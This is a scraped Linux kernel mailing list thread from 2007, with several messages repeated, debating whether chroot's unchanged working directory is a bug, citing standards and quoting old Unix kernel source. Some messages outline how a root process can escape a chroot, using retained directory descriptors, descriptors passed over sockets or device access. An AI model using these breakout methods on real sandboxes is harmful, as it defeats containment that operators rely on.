Re: sys_chroot+sys_fchdir Fix
Bill Davidsen wrote: It seems there are (at least) two parts to this, one regarding changing working directory which is clearly stated in the standards and must work as it does, and the various issues regarding getting out of the chroot after the cwd has entered that changed root. That second part seems to offer room for additional controls on getting out of the chroot which do not violate any of the obvious standards, and which therefore might be valid candidates for discussion on the basis of benefit rather than portability. Correct. BSDs solved the problem by changing cwd on subsequent use of chroot; I think there's a better way. I think the solution might be to add a "previous root", and restrict the process there as well as the new root. That is, once cwd is set within the new root, that new root is the limit. Prior to setting cwd within the new root, the previous root is the limit. - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Theodore Tso wrote: On Thu, Sep 27, 2007 at 09:28:08AM +0200, Christer Weinigel wrote: So the OpenBSD man page seems to be in the minority here. Any portable code can not assume that CWD changes. And changing the Linux behaviour now would be a rather big change which might break userspace. And yes, there are applications that rely on this, I've used it when building software for cross compiling. Changing Linux behavior would violate the POSIX and SuSV2 specifications; the standards explicitly state that the working directory will NOT change. And standards adherance is important; we break them only if we have a d*mn good reason. And trying to make chroot() something which it is not (i.e., a secure jail) is certainly not a good enough reason. Can we please end this thread now? And can we put in a Kernel FAQ saying that this is not something which is NOT up for discussion? It seems there are (at least) two parts to this, one regarding changing working directory which is clearly stated in the standards and must work as it does, and the various issues regarding getting out of the chroot after the cwd has entered that changed root. That second part seems to offer room for additional controls on getting out of the chroot which do not violate any of the obvious standards, and which therefore might be valid candidates for discussion on the basis of benefit rather than portability. -- bill davidsen <[EMAIL PROTECTED]> CTO TMR Associates, Inc Doing interesting things with small computers since 1979 - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Thu, Sep 27, 2007 at 09:28:08AM +0200, Christer Weinigel wrote: > So the OpenBSD man page seems to be in the minority here. Any portable > code can not assume that CWD changes. And changing the Linux behaviour > now would be a rather big change which might break userspace. And yes, > there are applications that rely on this, I've used it when building > software for cross compiling. Changing Linux behavior would violate the POSIX and SuSV2 specifications; the standards explicitly state that the working directory will NOT change. And standards adherance is important; we break them only if we have a d*mn good reason. And trying to make chroot() something which it is not (i.e., a secure jail) is certainly not a good enough reason. Can we please end this thread now? And can we put in a Kernel FAQ saying that this is not something which is NOT up for discussion? - Ted - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Thu, 27 Sep 2007 06:49:28 +0930
David Newall <[EMAIL PROTECTED]> wrote:
> For sure, "a root user can get out of a chroot a million different
> ways." Young Alan said as much at the beginning of this
> conversation, and I have always agreed. I don't hope to secure Linux
> within chroot, simply to fix chroot so that it does what it says it
> does.
> The problem is leaving cwd unchanged. Once you've set cwd within the
> new root, dot-dot is promised to keep you within that root; and so it
> does. But by leaving cwd unchanged, if you do a subsequent chroot,
> that promise is suddenly broken. I think this is a bug. I think
> that behavior was not intended. Not all agree with me, but obviously
> a lot do, otherwise OpenBSD and others wouldn't have addressed this
> exact issue. Here's what they do:
So keep reading the links I gave you:
http://www.unixwiz.net/techtips/chroot-practices.html
The chroot call itself does not change the working directory, so
if the new root is below the current directory, the application
can still have access outside resources.
http://www.bpfh.net/simes/computing/chroot-break.html
chdir("/foo/bar");
chroot("/foo/bar");
Note the use of the chdir() call before the chroot() call. This is
to ensure that the working directory of the process is within the
chroot()ed area before the chroot() call takes place. This is due
to most implementations of chroot() not changing the working
directory of the process to within the directory the process is
now chroot()ed in.
http://www.faqs.org/faqs/unix-faq/programmer/secure-programming/
The chroot() call itself will only change the root file system in
the process' context. A chroot() call must be followed by a
chdir("/") call in order to reset the current working directory.
So the OpenBSD man page seems to be in the minority here. Any portable
code can not assume that CWD changes. And changing the Linux behaviour
now would be a rather big change which might break userspace. And yes,
there are applications that rely on this, I've used it when building
software for cross compiling.
/Christer
On Thu, 27 Sep 2007 06:49:28 +0930
David Newall <[EMAIL PROTECTED]> wrote:
> Christer Weinigel wrote:
> > *spends five minutes with Google*
> >
> > From the OpenBSD FAQ (an operating system most know for being
> > really, really focused on security):
> >
> > http://www.openbsd.org/faq/faq10.html
> >
> > Any application which has to assume root privileges to operate
> > is pointless to attempt to chroot(2), as root can generally escape a
> > chroot(2).
> >
>
> For sure, "a root user can get out of a chroot a million different
> ways." Young Alan said as much at the beginning of this
> conversation, and I have always agreed. I don't hope to secure Linux
> within chroot, simply to fix chroot so that it does what it says it
> does.
>
> Look, when chroot was being designed, I think they intended that even
> root should be unable to get out. They went so far as to say that
> dot-dot wouldn't let you out; and it doesn't. It's not dot-dot
> that's the problem. Even fchdir is no problem, because you choose
> which file descriptors to leave open. Fchdir is actually one of the
> answers. ("What if we need a way to escape?")
>
> The problem is leaving cwd unchanged. Once you've set cwd within the
> new root, dot-dot is promised to keep you within that root; and so it
> does. But by leaving cwd unchanged, if you do a subsequent chroot,
> that promise is suddenly broken. I think this is a bug. I think
> that behavior was not intended. Not all agree with me, but obviously
> a lot do, otherwise OpenBSD and others wouldn't have addressed this
> exact issue. Here's what they do:
>
> "If the program is already running with an altered root directory,
> the process's current directory is changed to the same new root
> directory. This prevents the current directory from being further
> up the directory tree than the altered root directory."
> -- OpenBSD man 2 chroot
>
>
> This was no more than an attempt to fix a long-standing bug.
>
> As stated, opinion is divided as to whether this is a bug. I think
> it is, and many people agree, for example some of the BSDs and
> probably others; some people don't. Young Alan, for example, ummm,
> strongly (is a good word) disagrees. I don't see that it calls for
> nastiness or emotion, and although opinion on this august list is
> divided, apparently the nays are in the majority. We should leave it
> at that.
>
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to [EMAIL PROTECTED]
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Thu, Sep 27, 2007 at 04:12:53PM +0930, David Newall wrote: > Adrian Bunk wrote: >> You claimed: >> >> <-- snip --> >> >> Look, when chroot was being designed, I think they intended that even root >> should be unable to get out. They went so far as to say that dot-dot >> wouldn't let you out; and it doesn't. >> >> <-- snip --> >> >> You were clearly saying that whom you call "they" were the people who >> designed chroot. And it was you who was claiming in this statement that >> "they" said it. > > You've ignored the operative phrase, "I think". So you start a paragraph with "Look, when chroot was being designed" and all the contents of this paragraph only comes from your imagination and contradicts the facts... cu Adrian -- "Is there not promise of rain?" Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. "Only a promise," Lao Er said. Pearl S. Buck - Dragon Seed - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Adrian Bunk wrote: You claimed: <-- snip --> Look, when chroot was being designed, I think they intended that even root should be unable to get out. They went so far as to say that dot-dot wouldn't let you out; and it doesn't. <-- snip --> You were clearly saying that whom you call "they" were the people who designed chroot. And it was you who was claiming in this statement that "they" said it. You've ignored the operative phrase, "I think". - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Adrian Bunk wrote: You claimed: -- snip -- Look, when chroot was being designed, I think they intended that even root should be unable to get out. They went so far as to say that dot-dot wouldn't let you out; and it doesn't. -- snip -- You were clearly saying that whom you call they were the people who designed chroot. And it was you who was claiming in this statement that they said it. You've ignored the operative phrase, I think. - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Thu, Sep 27, 2007 at 04:12:53PM +0930, David Newall wrote: Adrian Bunk wrote: You claimed: -- snip -- Look, when chroot was being designed, I think they intended that even root should be unable to get out. They went so far as to say that dot-dot wouldn't let you out; and it doesn't. -- snip -- You were clearly saying that whom you call they were the people who designed chroot. And it was you who was claiming in this statement that they said it. You've ignored the operative phrase, I think. So you start a paragraph with Look, when chroot was being designed and all the contents of this paragraph only comes from your imagination and contradicts the facts... cu Adrian -- Is there not promise of rain? Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. Only a promise, Lao Er said. Pearl S. Buck - Dragon Seed - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Thu, 27 Sep 2007 06:49:28 +0930 David Newall [EMAIL PROTECTED] wrote: For sure, a root user can get out of a chroot a million different ways. Young Alan said as much at the beginning of this conversation, and I have always agreed. I don't hope to secure Linux within chroot, simply to fix chroot so that it does what it says it does. The problem is leaving cwd unchanged. Once you've set cwd within the new root, dot-dot is promised to keep you within that root; and so it does. But by leaving cwd unchanged, if you do a subsequent chroot, that promise is suddenly broken. I think this is a bug. I think that behavior was not intended. Not all agree with me, but obviously a lot do, otherwise OpenBSD and others wouldn't have addressed this exact issue. Here's what they do: So keep reading the links I gave you: http://www.unixwiz.net/techtips/chroot-practices.html The chroot call itself does not change the working directory, so if the new root is below the current directory, the application can still have access outside resources. http://www.bpfh.net/simes/computing/chroot-break.html chdir(/foo/bar); chroot(/foo/bar); Note the use of the chdir() call before the chroot() call. This is to ensure that the working directory of the process is within the chroot()ed area before the chroot() call takes place. This is due to most implementations of chroot() not changing the working directory of the process to within the directory the process is now chroot()ed in. http://www.faqs.org/faqs/unix-faq/programmer/secure-programming/ The chroot() call itself will only change the root file system in the process' context. A chroot() call must be followed by a chdir(/) call in order to reset the current working directory. So the OpenBSD man page seems to be in the minority here. Any portable code can not assume that CWD changes. And changing the Linux behaviour now would be a rather big change which might break userspace. And yes, there are applications that rely on this, I've used it when building software for cross compiling. /Christer On Thu, 27 Sep 2007 06:49:28 +0930 David Newall [EMAIL PROTECTED] wrote: Christer Weinigel wrote: *spends five minutes with Google* From the OpenBSD FAQ (an operating system most know for being really, really focused on security): http://www.openbsd.org/faq/faq10.html Any application which has to assume root privileges to operate is pointless to attempt to chroot(2), as root can generally escape a chroot(2). For sure, a root user can get out of a chroot a million different ways. Young Alan said as much at the beginning of this conversation, and I have always agreed. I don't hope to secure Linux within chroot, simply to fix chroot so that it does what it says it does. Look, when chroot was being designed, I think they intended that even root should be unable to get out. They went so far as to say that dot-dot wouldn't let you out; and it doesn't. It's not dot-dot that's the problem. Even fchdir is no problem, because you choose which file descriptors to leave open. Fchdir is actually one of the answers. (What if we need a way to escape?) The problem is leaving cwd unchanged. Once you've set cwd within the new root, dot-dot is promised to keep you within that root; and so it does. But by leaving cwd unchanged, if you do a subsequent chroot, that promise is suddenly broken. I think this is a bug. I think that behavior was not intended. Not all agree with me, but obviously a lot do, otherwise OpenBSD and others wouldn't have addressed this exact issue. Here's what they do: If the program is already running with an altered root directory, the process's current directory is changed to the same new root directory. This prevents the current directory from being further up the directory tree than the altered root directory. -- OpenBSD man 2 chroot This was no more than an attempt to fix a long-standing bug. As stated, opinion is divided as to whether this is a bug. I think it is, and many people agree, for example some of the BSDs and probably others; some people don't. Young Alan, for example, ummm, strongly (is a good word) disagrees. I don't see that it calls for nastiness or emotion, and although opinion on this august list is divided, apparently the nays are in the majority. We should leave it at that. - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Thu, Sep 27, 2007 at 09:28:08AM +0200, Christer Weinigel wrote: So the OpenBSD man page seems to be in the minority here. Any portable code can not assume that CWD changes. And changing the Linux behaviour now would be a rather big change which might break userspace. And yes, there are applications that rely on this, I've used it when building software for cross compiling. Changing Linux behavior would violate the POSIX and SuSV2 specifications; the standards explicitly state that the working directory will NOT change. And standards adherance is important; we break them only if we have a d*mn good reason. And trying to make chroot() something which it is not (i.e., a secure jail) is certainly not a good enough reason. Can we please end this thread now? And can we put in a Kernel FAQ saying that this is not something which is NOT up for discussion? - Ted - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Theodore Tso wrote: On Thu, Sep 27, 2007 at 09:28:08AM +0200, Christer Weinigel wrote: So the OpenBSD man page seems to be in the minority here. Any portable code can not assume that CWD changes. And changing the Linux behaviour now would be a rather big change which might break userspace. And yes, there are applications that rely on this, I've used it when building software for cross compiling. Changing Linux behavior would violate the POSIX and SuSV2 specifications; the standards explicitly state that the working directory will NOT change. And standards adherance is important; we break them only if we have a d*mn good reason. And trying to make chroot() something which it is not (i.e., a secure jail) is certainly not a good enough reason. Can we please end this thread now? And can we put in a Kernel FAQ saying that this is not something which is NOT up for discussion? It seems there are (at least) two parts to this, one regarding changing working directory which is clearly stated in the standards and must work as it does, and the various issues regarding getting out of the chroot after the cwd has entered that changed root. That second part seems to offer room for additional controls on getting out of the chroot which do not violate any of the obvious standards, and which therefore might be valid candidates for discussion on the basis of benefit rather than portability. -- bill davidsen [EMAIL PROTECTED] CTO TMR Associates, Inc Doing interesting things with small computers since 1979 - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Bill Davidsen wrote: It seems there are (at least) two parts to this, one regarding changing working directory which is clearly stated in the standards and must work as it does, and the various issues regarding getting out of the chroot after the cwd has entered that changed root. That second part seems to offer room for additional controls on getting out of the chroot which do not violate any of the obvious standards, and which therefore might be valid candidates for discussion on the basis of benefit rather than portability. Correct. BSDs solved the problem by changing cwd on subsequent use of chroot; I think there's a better way. I think the solution might be to add a previous root, and restrict the process there as well as the new root. That is, once cwd is set within the new root, that new root is the limit. Prior to setting cwd within the new root, the previous root is the limit. - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Thu, Sep 27, 2007 at 02:01:37AM +0200, Adrian Bunk wrote:
> <-- snip -->
>
> Look, when chroot was being designed, I think they intended that even root
> should be unable to get out. They went so far as to say that dot-dot
> wouldn't let you out; and it doesn't.
>
> <-- snip -->
>
> You were clearly saying that whom you call "they" were the people who
> designed chroot. And it was you who was claiming in this statement that
> "they" said it.
>
> The OpenBSD manpage you quoted in this thread states chroot() was added
> in 4.2BSD, and 4.2BSD was released in 1983.
>
> You should therefore either bring a source where the people who designed
> chroot() in 1983 or earlier are stating what you claim they said or
> admit that you were talking utter bullshit.
chroot() is present in v7, thank you very much. /usr/sys/sys/sys4.c has
chdir()
{
chdirec(_cdir);
}
chroot()
{
if (suser())
chdirec(_rdir);
}
and back then it didn't stop lookups by .. at all - u_rdir is only used
in the beginning of namei() (when pathname starts with /), plus the obvious
refcounting in exit()/newproc(). So give me a break - back when it had
been introduced, it didn't do anything jail-like _at_ _all_.
That check appears only in BSD:
@@ -1,4 +1,4 @@
-/* vfs_lookup.c4.4 03/06/81*/
+/* vfs_lookup.c4.5 81/03/09*/
#include "../h/param.h"
#include "../h/systm.h"
@@ -107,6 +107,9 @@
u.u_segflg = 1;
eo = 0;
bp = NULL;
+ if (dp == u.u_rdir && u.u_dent.d_name[0] == '.' &&
+ u.u_dent.d_name[1] == '.' && u.u_dent.d_name[2] == 0)
+ goto cloop;
eloop:
with spectaculary lousy commit message ("lint and a minor fixed") by
wnj. Feel free to ask Bill Joy WTF he had intended. At a guess,
more consistent behaviour in chrooted environment (i.e. pathname
resolution looking as if the subtree had been everything).
To talk about root-safety of _anything_ at that point is bloody ridiculous.
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to [EMAIL PROTECTED]
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Thu, Sep 27, 2007 at 09:05:33AM +0930, David Newall wrote: > Adrian Bunk wrote: >> You are claiming "They went so far as to say that dot-dot wouldn't let you >> out"? >> > > I phrased it in a somewhat conversational way. The promise, which I've now > quoted from multiple sources, is expressed variously, including: >> The dot-dot entry in the root directory is interpreted to mean the root >> directory itself. Thus, dot-dot cannot be used to access files outside the >> subtree rooted at the root directory. You claimed: <-- snip --> Look, when chroot was being designed, I think they intended that even root should be unable to get out. They went so far as to say that dot-dot wouldn't let you out; and it doesn't. <-- snip --> You were clearly saying that whom you call "they" were the people who designed chroot. And it was you who was claiming in this statement that "they" said it. The OpenBSD manpage you quoted in this thread states chroot() was added in 4.2BSD, and 4.2BSD was released in 1983. You should therefore either bring a source where the people who designed chroot() in 1983 or earlier are stating what you claim they said or admit that you were talking utter bullshit. cu Adrian -- "Is there not promise of rain?" Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. "Only a promise," Lao Er said. Pearl S. Buck - Dragon Seed - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Adrian Bunk wrote: You are claiming "They went so far as to say that dot-dot wouldn't let you out"? I phrased it in a somewhat conversational way. The promise, which I've now quoted from multiple sources, is expressed variously, including: The dot-dot entry in the root directory is interpreted to mean the root directory itself. Thus, dot-dot cannot be used to access files outside the subtree rooted at the root directory. - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Thu, Sep 27, 2007 at 06:49:28AM +0930, David Newall wrote: >... > Look, when chroot was being designed, I think they intended that even root > should be unable to get out. They went so far as to say that dot-dot > wouldn't let you out; and it doesn't. >... You are claiming "They went so far as to say that dot-dot wouldn't let you out"? Who are the "they" people you are referring to? And where did "they" explicitely state what you claim they did say? cu Adrian -- "Is there not promise of rain?" Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. "Only a promise," Lao Er said. Pearl S. Buck - Dragon Seed - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Christer Weinigel wrote:
*spends five minutes with Google*
From the OpenBSD FAQ (an operating system most know for being really,
really focused on security):
http://www.openbsd.org/faq/faq10.html
Any application which has to assume root privileges to operate is
pointless to attempt to chroot(2), as root can generally escape a
chroot(2).
For sure, "a root user can get out of a chroot a million different
ways." Young Alan said as much at the beginning of this conversation,
and I have always agreed. I don't hope to secure Linux within chroot,
simply to fix chroot so that it does what it says it does.
Look, when chroot was being designed, I think they intended that even
root should be unable to get out. They went so far as to say that
dot-dot wouldn't let you out; and it doesn't. It's not dot-dot that's
the problem. Even fchdir is no problem, because you choose which file
descriptors to leave open. Fchdir is actually one of the answers.
("What if we need a way to escape?")
The problem is leaving cwd unchanged. Once you've set cwd within the
new root, dot-dot is promised to keep you within that root; and so it
does. But by leaving cwd unchanged, if you do a subsequent chroot, that
promise is suddenly broken. I think this is a bug. I think that
behavior was not intended. Not all agree with me, but obviously a lot
do, otherwise OpenBSD and others wouldn't have addressed this exact
issue. Here's what they do:
"If the program is already running with an altered root directory,
the process's current directory is changed to the same new root
directory. This prevents the current directory from being further
up the directory tree than the altered root directory."
-- OpenBSD man 2 chroot
This was no more than an attempt to fix a long-standing bug.
As stated, opinion is divided as to whether this is a bug. I think it
is, and many people agree, for example some of the BSDs and probably
others; some people don't. Young Alan, for example, ummm, strongly (is
a good word) disagrees. I don't see that it calls for nastiness or
emotion, and although opinion on this august list is divided, apparently
the nays are in the majority. We should leave it at that.
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to [EMAIL PROTECTED]
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Wed, 26 Sep 2007 20:04:14 +0930 David Newall <[EMAIL PROTECTED]> wrote: > Al Viro wrote: > > Oh, for fsck sake... Folks, it's standard-required behaviour. > > Ability to chroot() implies the ability to break out of it. Could > > we please add that (along with reference to SuS) to l-k FAQ and be > > done with that nonsense? > > I'm pretty confident that it's only standard behavior for Linux. > Every other unix says it's not allowed. So how about reading up on the subject instead? *spends five minutes with Google* >From the OpenBSD FAQ (an operating system most know for being really, really focused on security): http://www.openbsd.org/faq/faq10.html Any application which has to assume root privileges to operate is pointless to attempt to chroot(2), as root can generally escape a chroot(2). Solaris: http://www.softpanorama.org/Solaris/Security/solaris_privilege_sets.shtml You must be root to make the chroot() call, and you should quickly change to non-root (a root user can escape a chroot environment, so if it's to be effective, you need to drop that privilege). A chroot FAQ: http://www.unixwiz.net/techtips/chroot-practices.html There are well-known techniques used to escape from jail, but the most common one requires root privileges inside the jail. Another chroot FAT one linked to from the previous one: http://www.bpfh.net/simes/computing/chroot-break.html This page details how the chroot() system call can be used to provide an additional layer of security when running untrusted programs. It also details how this additional layer of security can be circumvented. Whilst chroot() is reasonably secure, a program can escape from its trap. Yet Another FAQ, this time about secure Unix Programming: http://www.faqs.org/faqs/unix-faq/programmer/secure-programming/ chroot() only limits the file system scope and nothing else. [further descriptions of how to break out of chroot, with and without root privileges] Convinced? /Christer -- "Just how much can I get away with and still go to heaven?" Christer Weinigel <[EMAIL PROTECTED]> http://www.weinigel.se - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: Chroot bug (was: sys_chroot+sys_fchdir Fix)
On Wed, 26 Sep 2007, David Newall wrote:
> Miloslav Semler pointed out that a root process can chdir("..") out of
> its chroot. Although this is documented in the man page, it conflicts
> with the essential function, which is to change the root directory of
> the process.
The root directory, '/' is changed, and if the process is capable of using
chroot, it may change the root directory again. Works as defined.
> In addition to any creative uses, for example Philipp
> Marek's loading dynamic libraries, it seems clear that the prime purpose
> of chroot is to aid security.
As long as root has more than a safe subset of capabilities, root can escape
a chroot.
Besides that, fchdir on open-at-chroot fds does not decrease the security,
since the attacker needs help from the outside root, who is not restricted
by chroot.
I'm more concerned about abstract unix sockets, they could be used to
send a file descriptor to compromised daemons and extend exploits to
the outside of a chroot and across namespaces - at least I suspect it.
The whole f* family of syscalls would be affected. This can be cured by
e.g. not allowing to receive fds if the root+namespace do not match.
> Being able to cd your way out is handy
> for the bad guys, but the good guys don't need it; there are a thousand
> better, safer solutions.
The good guys don't cd out, they open the instalkler archive, chroot to the
new system root and extract it there. Then they chroot back using the saved
cwd.
> If there truly is a need to be able to pop in and out of a chroot, then
> the solution should be obvious, such as with real versus effective user
> and group ids. An important quality of a solution would be a way to fix
> that essential function: to set the root in such a way that you can no
> longer pop out. But that is a separate question.
As in jail()?
As far as I know, the new virtualisation features sneaking into the kernel
will allow implementing a jail, too, in a more secure way than any hacking
on chroot can give.
> The question: is chroot buggy? I'm pleased to turn to SCO for an
> independent definition for chroot, from which I get the following:
>
> http://osr600doc.sco.com/en/man/html.S/chroot.S.html:
> >
> > The *..* entry in the root directory is interpreted to mean the root
> > directory itself. Thus, *..* cannot be used to access files outside
> > the subtree rooted at the root directory.
> >
>
> I argue chroot is buggy. Miloslav's patch might not be the right
> solution, but he has the right idea (i.e. fix it.)
There are implementations of chroot which imply chdir(), and not having f*
functions, they can not _directly_ acces files outside the chroot. But as
long as they can e.g. mknod /dev/mem or strace, they can do anything.
So let's not put a fingerprint sensor on that chinese paper door.
--
You know you're in trouble when packet floods are competing to flood you.
-- grc.com
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to [EMAIL PROTECTED]
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Wed, Sep 26, 2007 at 08:04:14PM +0930, David Newall wrote: > Al Viro wrote: > >Oh, for fsck sake... Folks, it's standard-required behaviour. Ability > >to chroot() implies the ability to break out of it. Could we please > >add that (along with reference to SuS) to l-k FAQ and be done with that > >nonsense? > > I'm pretty confident that it's only standard behavior for Linux. Every > other unix says it's not allowed. OK, the possibilities are * you've discovered a bug in all Unices (BTW, even FreeBSD *does* allow to break out of some chroots in that fashion; RTFS and you'll see - just pay attention to setting fdp->fd_jdir logics in kern/vfs_syscalls.c: change_root(); it sets jail boundary on _first_ chroot and if you've got nested chroots, you can leave them just fine by use of SCM_RIGHTS to hold directory descriptor). All hail David, nevermind that this behaviour had been described in Unix FAQs since _way_ back. * you've misunderstood the purpose of chroot(), the fact that behaviour in question is at the very least extremely common on Unix and the fact that any code relying on root-proof chroot(2) is broken and needs to be fixed, simply because chroot is _not_ root-proof on (at least) almost all systems. Note that the last statement applies in both cases; it's simply reality. Insisting that behaviour known for decades is a bug since it contradicts your rather convoluted reading of the standards... Looks rather silly, IMO, but that has zero practical consequences anyway. Userland code can't rely on root-proof chroot(2), period. - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Alan Cox wrote: ** Plonk ** Welcome to my killfile. Well that's a relief. - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
** Plonk ** Welcome to my killfile. - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Alan Cox wrote: You quoted the standard, I merely pointed out you forgot to read it properly. Thats your problem not mine. How bizarre. Last email you claimed to quote the standards (but you never did.) Your becoming an embarrassment. You were rude, and multiple times. Please just drop it while you retain a shred of dignity. - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
You quoted the standard, I merely pointed out you forgot to read it properly. Thats your problem not mine. Alan - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Alan, Alan Cox wrote: therefore it must be right. You present no reasoning to explain why the behavior is correct; instead you use insults. I've exhausted my tolerance for rudeness. Well if citing standards documents at people is rudeness so be it. Did you just tell a porky? Did you just (again) say something calculated to give a false belief? I think so. This is not a citation: It does change the root, it just doesn't guarantee you can't change it back - which is correct POSIX, Unix, SuS behaviour. So either everyone else is wrong or you are.. I know who I am betting on That was you implying that standard documents say things that they don't. But yes, that was the first time. Care to let it drop? David - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Once upon a time, Alan Cox <[EMAIL PROTECTED]> said: >Well if citing standards documents at people is rudeness so be it. I hate to get involved in this, but actually chroot() is no longer part of SuS as of version 3. For other Unix versions, both Tru64 (5.1B) and Solaris (9) chroot(2) man pages also say the working directory is unaffected by chroot(). The Solaris man page explicitly mentions using fchdir() to reset the root to a previously opened directory however. On Tru64 and Solaris, the chroot command does call chdir() after chroot(), but that is a userspace thing. - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
> therefore it must be right. You present no reasoning to explain why the > behavior is correct; instead you use insults. I've exhausted my > tolerance for rudeness. Well if citing standards documents at people is rudeness so be it. Alan - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
